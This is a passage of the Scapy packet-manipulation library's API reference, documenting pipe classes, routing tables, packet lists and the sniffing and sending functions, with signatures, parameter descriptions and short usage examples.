'scapy.scapypipes.TriggeredMessage'>, 'TriggeredQueueingValve': <class 'scapy.scapypipes.TriggeredQueueingValve'>, 'TriggeredSwitch': <class 'scapy.scapypipes.TriggeredSwitch'>, 'TriggeredValve': <class 'scapy.scapypipes.TriggeredValve'>, 'UDPClientPipe': <class 'scapy.scapypipes.UDPClientPipe'>, 'UDPDrain': <class 'scapy.scapypipes.UDPDrain'>, 'UDPServerPipe': <class 'scapy.scapypipes.UDPServerPipe'>, 'UpDrain': <class 'scapy.pipetool.UpDrain'>, 'WiresharkSink': <class 'scapy.scapypipes.WiresharkSink'>, 'WrpcapSink': <class 'scapy.scapypipes.WrpcapSink'>}

	




	
run() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L126-L171]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L173-L181]

	




	
stop(_cmd: str = 'X') → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L187-L201]

	




	
wait_and_stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L183-L185]

	








	
class scapy.pipetool.QueueSink(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L769-L816]

	Bases: Sink

Collects messages on the low and high entries into a Queue.
Messages are dequeued with recv().
Both high and low entries share the same Queue.

   +-------+
>>-|--.    |->>
   | queue |
 >-|--'    |->
   +-------+






	
high_push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L793-L795]

	




	
push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L789-L791]

	




	
recv(block: bool = True, timeout: int | None = None) → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L797-L816]

	Reads the next message from the queue.

If no message is available in the queue, returns None.


	Parameters:

	
	block (bool) – Blocks execution until a packet is available in the
queue. Defaults to True.


	timeout (None, int or float) – Controls how long to wait if block=True. If None
(the default), this method will wait forever. If a
non-negative number, this is a number of seconds to
wait before giving up (and returning None).

















	
class scapy.pipetool.RawConsoleSink(name: str | None = None, newlines: bool = True)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L533-L565]

	Bases: Sink

Print messages on low and high entries, using os.write

   +-------+
>>-|--.    |->>
   | write |
 >-|--'    |->
   +-------+






	Parameters:

	newlines (bool) – Include a new-line character after printing each packet.
Defaults to True.






	
high_push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L561-L565]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L555-L559]

	








	
class scapy.pipetool.Sink(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L399-L454]

	Bases: Pipe

Does nothing; interface to extend for custom sinks.

All sinks have the following constructor parameters:


	Parameters:

	name (str) – a human-readable name for the element






	
high_push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L420-L430]

	Called by PipeEngine when there is a new message for the
high entry.


	Parameters:

	msg – The message data



	Returns:

	None



	Return type:

	None










	
push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L408-L418]

	Called by PipeEngine when there is a new message for the
low entry.


	Parameters:

	msg – The message data



	Returns:

	None



	Return type:

	None














	
class scapy.pipetool.Source(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L357-L375]

	Bases: Pipe, ObjectPipe[Any]


	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L368-L371]

	




	
exhausted() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L373-L375]

	








	
class scapy.pipetool.TermSink(name: str | None = None, keepterm: bool = True, newlines: bool = True, openearly: bool = True)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L644-L766]

	Bases: Sink

Prints messages on the low and high entries, on a separate terminal (xterm
or cmd).

   +-------+
>>-|--.    |->>
   | print |
 >-|--'    |->
   +-------+






	Parameters:

	
	keepterm (bool) – Leave the terminal window open after stop()
is called. Defaults to True.


	newlines (bool) – Include a new-line character after printing each packet.
Defaults to True.


	openearly (bool) – Automatically starts the terminal when the constructor is
called, rather than waiting for start().
Defaults to True.









	
high_push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L764-L766]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L760-L762]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L735-L740]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L742-L747]

	








	
class scapy.pipetool.ThreadGenSource(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L491-L509]

	Bases: AutoSource


	
generate() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L497-L499]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L501-L505]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L507-L509]

	








	
class scapy.pipetool.TransformDrain(f: Callable[[Any], None], name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L819-L842]

	Bases: Drain

Apply a function to messages on low and high entry:

   +-------+
>>-|--[f]--|->>
   |       |
 >-|--[f]--|->
   +-------+






	
high_push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L840-L842]

	




	
push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L836-L838]

	








	
class scapy.pipetool.TriggerSink(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L457-L460]

	Bases: Sink


	
on_trigger(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L458-L460]

	








	
class scapy.pipetool.UpDrain(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L845-L863]

	Bases: Drain

Repeat messages from low entry to high exit:

   +-------+
>>-|    ,--|->>
   |   /   |
 >-|--'    |->
   +-------+






	
high_push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L861-L863]

	




	
push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L857-L859]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.plist

PacketList: holds several packets and allows to do operations on them.


	
class scapy.plist.PacketList(res: _PacketList[_Inner] | List[_Inner] | None = None, name: str = 'PacketList', stats: List[Type[Packet]] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/plist.py#L741-L779]

	Bases: _PacketList[Packet], BasePacketList[Packet], _CanvasDumpExtended


	
sr(multi: bool = False, lookahead: int | None = None) → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/plist.py#L744-L779]

	Matches packets in the list


	Parameters:

	
	multi – True if a packet can have multiple answers


	lookahead – Maximum number of packets between packet and answer.
If 0 or None, full remaining list is
scanned for answers






	Returns:

	( (matched couples), (unmatched packets) )














	
class scapy.plist.QueryAnswer(query, answer)[source] [https://github.com/secdev/scapy/blob/master/scapy/plist.py]

	Bases: NamedTuple


	
answer: Packet

	Alias for field number 1






	
query: Packet

	Alias for field number 0










	
class scapy.plist.SndRcvList(res: _PacketList[QueryAnswer] | List[QueryAnswer] | None = None, name: str = 'Results', stats: List[Type[Packet]] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/plist.py#L790-L809]

	Bases: _PacketList[QueryAnswer], BasePacketList[QueryAnswer], _CanvasDumpExtended








            

          

      

      

    

  

    
      
          
            
  
scapy.pton_ntop

Convert IPv6 addresses between textual representation and binary.

These functions are missing when python is compiled
without IPv6 support, on Windows for instance.


	
scapy.pton_ntop.inet_ntop(af: AddressFamily, addr: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/pton_ntop.py#L133-L146]

	Convert an IP address from binary form into text representation.






	
scapy.pton_ntop.inet_pton(af: AddressFamily, addr: bytes | str) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/pton_ntop.py#L83-L97]

	Convert an IP address from text representation into binary form.








            

          

      

      

    

  

    
      
          
            
  
scapy.route

Routing and handling of network interfaces.


	
class scapy.route.Route[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L31-L215]

	Bases: object


	
add(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L92-L98]

	Ex:
add(net=”192.168.1.0/24”,gw=”1.2.3.4”)






	
delt(host|net, gw|dev)[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L100-L109]

	




	
get_if_bcast(iff: str) → List[str][source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L201-L215]

	




	
ifadd(iff: str, addr: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L139-L146]

	




	
ifchange(iff: str, addr: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L111-L127]

	




	
ifdel(iff: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L129-L137]

	




	
invalidate_cache() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L39-L41]

	




	
make_route(host: str | None = None, net: str | None = None, gw: str | None = None, dev: str | None = None, metric: int = 1) → Tuple[int, int, str, str, str, int][source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L64-L90]

	




	
resync() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L43-L47]

	




	
route(dst: str | None = None, verbose: int = 2) → Tuple[str, str, str][source] [https://github.com/secdev/scapy/blob/master/scapy/route.py#L148-L199]

	Returns the IPv4 routes to a host.
:param - dst: the IPv4 of the destination host


	returns: (iface, output_ip, gateway_ip)
	
	iface: the interface used to connect to the host


	output_ip: the outgoing IP that will be used


	gateway_ip: the gateway IP that will be used



















            

          

      

      

    

  

    
      
          
            
  
scapy.route6

Routing and network interface handling for IPv6.


	
class scapy.route6.Route6[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L39-L359]

	Bases: object


	
add(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L115-L123]

	Ex:
add(dst=”2001:db8:cafe:f000::/56”)
add(dst=”2001:db8:cafe:f000::/56”, gw=”2001:db8:cafe::1”)
add(dst=”2001:db8:cafe:f000::/64”, gw=”2001:db8:cafe::1”, dev=”eth0”)






	
delt(dst: str, gw: str | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L138-L162]

	Ex:
delt(dst=”::/0”)
delt(dst=”2001:db8:cafe:f000::/56”)
delt(dst=”2001:db8:cafe:f000::/56”, gw=”2001:db8:deca::1”)






	
flush() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L53-L57]

	




	
ifadd(iff: str, addr: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L198-L220]

	Add an interface ‘iff’ with provided address into routing table.


	Ex: ifadd(‘eth0’, ‘2001:bd8:cafe:1::1/64’) will add following entry into  # noqa: E501
	Scapy6 internal routing table:

Destination           Next Hop  iface  Def src @           Metric
2001:bd8:cafe:1::/64  ::        eth0   2001:bd8:cafe:1::1  1

prefix length value can be omitted. In that case, a value of 128
will be used.










	
ifchange(iff: str, addr: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L164-L185]

	




	
ifdel(iff: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L187-L196]

	removes all route entries that uses ‘iff’ interface.






	
invalidate_cache() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L49-L51]

	




	
make_route(dst: str, gw: str | None = None, dev: str | None = None) → Tuple[str, int, str, str, List[str], int][source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L90-L113]

	Internal function : create a route for ‘dst’ via ‘gw’.






	
remove_ipv6_iface(iface: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L125-L136]

	Remove the network interface ‘iface’ from the list of interfaces
supporting IPv6.






	
resync() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L59-L69]

	




	
route(dst: str = '', dev: Any | None = None, verbose: int = 2) → Tuple[str, str, str][source] [https://github.com/secdev/scapy/blob/master/scapy/route6.py#L222-L359]

	Provide best route to IPv6 destination address, based on Scapy
internal routing table content.

When a set of address is passed (e.g. 2001:db8:cafe:*::1-5) an
address of the set is used. Be aware of that behavior when using
wildcards in upper parts of addresses !

If ‘dst’ parameter is a FQDN, name resolution is performed and result
is used.

if optional ‘dev’ parameter is provided a specific interface, filtering
is performed to limit search to route associated to that interface.












            

          

      

      

    

  

    
      
          
            
  
scapy.scapypipes


	
class scapy.scapypipes.FDSourceSink(fd: ObjectPipe[Any], name: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L324-L351]

	Bases: Source

Use a file descriptor as source and sink

   +-------------+
>>-|             |->>
   |             |
 >-|-[file desc]-|->
   +-------------+






	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L349-L351]

	




	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L345-L347]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L341-L343]

	








	
class scapy.scapypipes.Inject3Sink(iface: NetworkInterface | str | None = None, name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L162-L165]

	Bases: InjectSink


	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L163-L165]

	








	
class scapy.scapypipes.InjectSink(iface: NetworkInterface | str | None = None, name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L130-L159]

	Bases: Sink

Packets received on low input are injected to an interface

   +-----------+
>>-|           |->>
   |           |
 >-|--[iface]  |->
   +-----------+






	
push(msg: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L157-L159]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L149-L151]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L153-L155]

	








	
class scapy.scapypipes.RdpcapSource(fname: str, name: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L90-L127]

	Bases: Source

Read packets from a PCAP file send them to low exit.

   +----------+
>>-|          |->>
   |          |
 >-|  [pcap]--|->
   +----------+






	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L121-L127]

	




	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L117-L119]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L108-L111]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L113-L115]

	








	
class scapy.scapypipes.SniffSource(iface: str | None = None, filter: Any | None = None, socket: SuperSocket | None = None, name: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L28-L87]

	Bases: Source

Read packets from an interface and send them to low exit.

   +-----------+
>>-|           |->>
   |           |
 >-|  [iface]--|->
   +-----------+





If neither of the iface or socket parameters are specified, then
Scapy will capture from the first network interface.


	Parameters:

	
	iface – A layer 2 interface to sniff packets from. Mutually
exclusive with the socket parameter.


	filter – Packet filter to use while capturing. See L2listen.
Not used with socket parameter.


	socket – A SuperSocket to sniff packets from.









	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L80-L87]

	




	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L76-L78]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L66-L69]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L71-L74]

	








	
class scapy.scapypipes.TCPConnectPipe(addr: str = '', port: int = 0, name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L354-L400]

	Bases: Source

TCP connect to addr:port and use it as source and sink

   +-------------+
>>-|             |->>
   |             |
 >-|-[addr:port]-|->
   +-------------+






	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L392-L400]

	




	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L388-L390]

	




	
push(msg: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L384-L386]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L374-L377]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L379-L382]

	








	
class scapy.scapypipes.TCPListenPipe(addr: str = '', port: int = 0, name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L403-L459]

	Bases: TCPConnectPipe

TCP listen on [addr:]port and use first connection as source and sink;
send peer address to high output

   +------^------+
>>-|    +-[peer]-|->>
   |   /         |
 >-|-[addr:port]-|->
   +-------------+






	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L438-L459]

	




	
push(msg: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L431-L436]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L423-L429]

	








	
class scapy.scapypipes.TriggerDrain(f: Callable[[...], None], name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L582-L611]

	Bases: Drain

Pass messages and trigger when a condition is met

   +------^------+
>>-|-[condition]-|->>
   |      |      |
 >-|-[condition]-|->
   +-------------+






	
high_push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L606-L611]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L599-L604]

	








	
class scapy.scapypipes.TriggeredMessage(msg: str, name: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L558-L579]

	Bases: Drain

Send a preloaded message when triggered and trigger in chain

   +------^------+
>>-|      | /----|->>
   |      |/     |
 >-|-[ message ]-|->
   +------^------+






	
on_trigger(trigmsg: bool) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L575-L579]

	








	
class scapy.scapypipes.TriggeredQueueingValve(start_state: bool = True, name: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L647-L696]

	Bases: Drain

Let messages alternatively pass or queued, changing on trigger

   +------^-------+
>>-|-[pass/queue]-|->>
   |      |       |
 >-|-[pass/queue]-|->
   +------^-------+






	
high_push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L676-L681]

	




	
on_trigger(msg: bool) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L683-L696]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L669-L674]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L665-L667]

	








	
class scapy.scapypipes.TriggeredSwitch(start_state: bool = True, name: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L699-L727]

	Bases: Drain

Let messages alternatively high or low, changing on trigger

   +------^------+
>>-|-\    |    /-|->>
   |  [up/down]  |
 >-|-/    |    \-|->
   +------^------+






	
high_push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L716-L721]

	




	
on_trigger(msg: bool) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L724-L727]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L716-L721]

	








	
class scapy.scapypipes.TriggeredValve(start_state: bool = True, name: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L614-L644]

	Bases: Drain

Let messages alternatively pass or not, changing on trigger

   +------^------+
>>-|-[pass/stop]-|->>
   |      |      |
 >-|-[pass/stop]-|->
   +------^------+






	
high_push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L636-L639]

	




	
on_trigger(msg: bool) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L641-L644]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L631-L634]

	








	
class scapy.scapypipes.UDPClientPipe(addr: str = '', port: int = 0, name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L462-L500]

	Bases: TCPConnectPipe

UDP send packets to addr:port and use it as source and sink
Start trying to receive only once a packet has been send

   +-------------+
>>-|             |->>
   |             |
 >-|-[addr:port]-|->
   +-------------+






	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L490-L500]

	




	
push(msg: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L486-L488]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L480-L484]

	








	
class scapy.scapypipes.UDPDrain(ip: str = '127.0.0.1', port: int = 1234)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L292-L321]

	Bases: Drain

UDP payloads received on high entry are sent over UDP

   +-------------+
>>-|--[payload]--|->>
   |      X      |
 >-|----[UDP]----|->
   +-------------+






	
high_push(msg: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L317-L321]

	




	
push(msg: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L310-L315]

	








	
class scapy.scapypipes.UDPServerPipe(addr: str = '', port: int = 0, name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L503-L555]

	Bases: TCPListenPipe

UDP bind to [addr:]port and use as source and sink
Use (ip, port) from first received IP packet as destination for all data

   +------^------+
>>-|    +-[peer]-|->>
   |   /         |
 >-|-[addr:port]-|->
   +-------------+






	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L533-L555]

	




	
push(msg: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L526-L531]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L521-L524]

	








	
class scapy.scapypipes.WiresharkSink(name: Any | None = None, linktype: int | None = None, args: List[str] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L230-L289]

	Bases: WrpcapSink

Streams Packet from the low entry to Wireshark.

Packets are written into a pcap stream (like WrpcapSink),
and streamed to a new Wireshark process on its stdin.

Wireshark is run with the -ki - arguments, which cause it to treat
stdin as a capture device.  Arguments in args will be
appended after this.

Extends WrpcapSink.

   +----------+
>>-|          |->>
   |          |
 >-|--[pcap]  |->
   +----------+






	Parameters:

	
	linktype (None or int) – See WrpcapSink.linktype.


	args (None or list[str]) – See args.









	
args

	Additional arguments for the Wireshark process.

This must be either None (the default), or a list of str.

This attribute has no effect after calling PipeEngine.start().

See wireshark(1) for more details.






	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L272-L289]

	








	
class scapy.scapypipes.WrpcapSink(fname: str, name: str | None = None, linktype: int | None = None, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L168-L227]

	Bases: Sink

Writes Packet on the low entry to a pcap file.
Ignores all messages on the high entry.


Note

Due to limitations of the pcap format, all packets must be of
the same link type. This class will not mutate packets to conform with
the expected link type.



   +----------+
>>-|          |->>
   |          |
 >-|--[pcap]  |->
   +----------+






	Parameters:

	
	fname (str) – Filename to write packets to.


	linktype (None or int) – See linktype.









	
linktype

	Set an explicit link-type (DLT_) for packets.  This must be an
int or None.

This is the same as the wrpcap() linktype parameter.

If None (the default), the linktype will be auto-detected on the
first packet. This field will not be updated with the result of this
auto-detection.

This attribute has no effect after calling PipeEngine.start().






	
push(msg: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L224-L227]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L214-L216]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/scapypipes.py#L218-L222]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.sendrecv

Functions to send and receive packets.


	
class scapy.sendrecv.AsyncSniffer(*args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L1004-L1334]

	Bases: object

Sniff packets and return a list of packets.


	Parameters:

	
	count – number of packets to capture. 0 means infinity.


	store – whether to store sniffed packets or discard them


	prn – function to apply to each packet. If something is returned, it
is displayed.
–Ex: prn = lambda x: x.summary()


	session – a session = a flow decoder used to handle stream of packets.
–Ex: session=TCPSession
See below for more details.


	filter – BPF filter to apply.


	lfilter – Python function applied to each packet to determine if
further action may be done.
–Ex: lfilter = lambda x: x.haslayer(Padding)


	offline – PCAP file (or list of PCAP files) to read packets from,
instead of sniffing them


	quiet – when set to True, the process stderr is discarded
(default: False).


	timeout – stop sniffing after a given time (default: None).


	L2socket – use the provided L2socket (default: use conf.L2listen).


	opened_socket – provide an object (or a list of objects) ready to use
.recv() on.


	stop_filter – Python function applied to each packet to determine if
we have to stop the capture after this packet.
–Ex: stop_filter = lambda x: x.haslayer(TCP)


	iface – interface or list of interfaces (default: None for sniffing
on the default interface).


	monitor – use monitor mode. May not be available on all OS


	started_callback – called as soon as the sniffer starts sniffing
(default: None).








The iface, offline and opened_socket parameters can be either an
element, a list of elements, or a dict object mapping an element to a
label (see examples below).

For more information about the session argument, see
https://scapy.rtfd.io/en/latest/usage.html#advanced-sniffing-sniffing-sessions


	Examples: synchronous
	>>> sniff(filter="arp")
>>> sniff(filter="tcp",
...       session=IPSession,  # defragment on-the-flow
...       prn=lambda x: x.summary())
>>> sniff(lfilter=lambda pkt: ARP in pkt)
>>> sniff(iface="eth0", prn=Packet.summary)
>>> sniff(iface=["eth0", "mon0"],
...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
...                                   pkt.summary()))
>>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"},
...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
...                                   pkt.summary()))







	Examples: asynchronous
	>>> t = AsyncSniffer(iface="enp0s3")
>>> t.start()
>>> time.sleep(1)
>>> print("nice weather today")
>>> t.stop()










	
join(*args: Any, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L1331-L1334]

	




	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L1307-L1312]

	Starts AsyncSniffer in async mode






	
stop(join: bool = True) → PacketList | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L1314-L1329]

	Stops AsyncSniffer if not in async mode










	
class scapy.sendrecv.SndRcvHandler(pks: SuperSocket, pkt: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], timeout: int | None = None, inter: int = 0, verbose: int | None = None, chainCC: bool = False, retry: int = 0, multi: bool = False, rcv_pks: SuperSocket | None = None, prebuild: bool = False, _flood: _FloodGenerator | None = None, threaded: bool = False, session: Type[DefaultSession] | DefaultSession | None = None, chainEX: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L102-L323]

	Bases: object

Util to send/receive packets, used by sr*().
Do not use directly.

This matches the requests and answers.


	Notes::
	
	threaded mode: enabling threaded mode will likely
break packet timestamps, but might result in a speedup
when sending a big amount of packets. Disabled by default


	DEVS: store the outgoing timestamp right BEFORE sending the packet
to avoid races that could result in negative latency. We aren’t Stadia









	
results() → Tuple[SndRcvList, PacketList][source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L230-L232]

	








	
scapy.sendrecv.bridge_and_sniff(if1: NetworkInterface | str, if2: NetworkInterface | str, xfrm12: Callable[[Packet], Packet | bool] | None = None, xfrm21: Callable[[Packet], Packet | bool] | None = None, prn: Callable[[Packet], Any] | None = None, L2socket: Type[SuperSocket] | None = None, *args: Any, **kargs: Any) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L1348-L1443]

	Forward traffic between interfaces if1 and if2, sniff and return
the exchanged packets.


	Parameters:

	
	if1 – the interfaces to use (interface names or opened sockets).


	if2 – 


	xfrm12 – a function to call when forwarding a packet from if1 to
if2. If it returns True, the packet is forwarded as it. If it
returns False or None, the packet is discarded. If it returns a
packet, this packet is forwarded instead of the original packet
one.


	xfrm21 – same as xfrm12 for packets forwarded from if2 to if1.








The other arguments are the same than for the function sniff(),
except for offline, opened_socket and iface that are ignored.
See help(sniff) for more.






	
class scapy.sendrecv.debug[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L66-L70]

	Bases: object


	
crashed_on: Tuple[Type[Packet], bytes] | None = None

	




	
match = <Matched: TCP:0 UDP:0 ICMP:0 Other:0>

	




	
recv = <Received: TCP:0 UDP:0 ICMP:0 Other:0>

	




	
sent = <Sent: TCP:0 UDP:0 ICMP:0 Other:0>

	








	
scapy.sendrecv.send(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], iface: NetworkInterface | str | None = None, **kargs: Any) → PacketList | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L425-L452]

	Send packets at layer 3


	Parameters:

	
	x – the packets


	inter – time (in s) between two packets (default 0)


	loop – send packet indefinitely (default 0)


